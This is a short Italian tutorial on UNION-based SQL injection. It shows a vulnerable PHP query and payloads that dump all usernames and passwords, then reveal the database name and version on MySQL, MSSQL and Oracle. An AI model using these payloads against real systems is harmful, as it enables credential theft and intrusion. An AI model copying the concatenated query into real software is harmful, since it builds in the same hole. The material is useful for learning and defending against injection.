Supponiamo che tu abbia una query come questa:
$q="SELECT username, joindate FROM users WHERE username LIKE '%" . $search . "%' LIMIT 20";
Ora immagina di controllare $search
tramite un parametro. Di solito, restituiamo le password utente nel campo joindate
come questo:
$search="' UNION SELECT username, password FROM users; -- -";
Come tale la query diventa:
SELECT username, joindate FROM users WHERE username LIKE '%' UNION SELECT username, password FROM users; -- - %' LIMIT 20
La parte dopo il doppio trattino è un commento, quindi viene ignorata e otteniamo tutte le combinazioni di nome utente e password aggiunte come nuovi record alla fine del set di dati, dopo i record legittimi. Impressionante!
Ma ora vogliamo adattare questo in modo che possiamo trovare il nome del database, per ulteriori indagini sul loro database. Su MySQL, possiamo usare la funzione DATABASE()
:
$search="' UNION SELECT DATABASE(), 1; -- -";
L'uso di 1
qui è di riempire il campo joindate
, che non stiamo usando.
Su MSSQL possiamo fare esattamente lo stesso, ma con DB_NAME()
:
$search="' UNION SELECT DB_NAME(), 1; -- -";
Entrambi questi trucchi aggiungeranno una singola riga alla fine del set di risultati, contenente il nome del database.
Possiamo quindi espandere questo trucco per usare VERSION()
su MySQL o @@VERSION
su MSSQL, che restituisce la versione corrente del database. Per Oracle e PL / SQL è possibile verificare l'esistenza della tabella v$version
, semplicemente eseguendo una query e verificando l'errore.